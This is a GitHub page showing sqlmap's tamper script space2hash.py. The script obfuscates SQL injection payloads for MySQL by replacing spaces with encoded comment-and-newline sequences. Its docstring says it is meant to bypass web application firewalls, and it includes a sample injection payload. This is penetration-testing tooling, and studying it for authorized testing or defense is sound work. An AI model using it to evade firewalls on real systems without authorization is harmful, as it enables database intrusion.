sqlmap/tamper/space2hash.py at master · getcode2git/sqlmap · GitHub

History

55 lines (42 loc) · 1.5 KB

Raw

#!/usr/bin/env python

"""

See the file 'doc/COPYING' for copying permission

"""

import os

import random

import string

from lib.core.common import singleTimeWarnMessage

from lib.core.enums import DBMS

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

"""

Replaces space character (' ') with a pound character ('#') followed by

a random string and a new line ('\n')

Requirement:

* MySQL

Tested against:

* MySQL 4.0, 5.0

Notes:

* Useful to bypass several web application firewalls

* Used during the ModSecurity SQL injection challenge,

http://modsecurity.org/demo/challenge.html

>>> random.seed(0)

>>> tamper('1 AND 9227=9227')

'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

"""

retVal = ""

if payload:

for i in xrange(len(payload)):

if payload[i].isspace():

randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))

retVal += "%%23%s%%0A" % randomStr

elif payload[i] == '#' or payload[i:i + 3] == '-- ':

retVal += payload[i:]

break

else:

retVal += payload[i]

return retVal

sqlmap/tamper/space2hash.py at master · getcode2git/sqlmap · GitHub

Expand file tree

Breadcrumbs

space2hash.py

Latest commit

History

Breadcrumbs

space2hash.py

File metadata and controls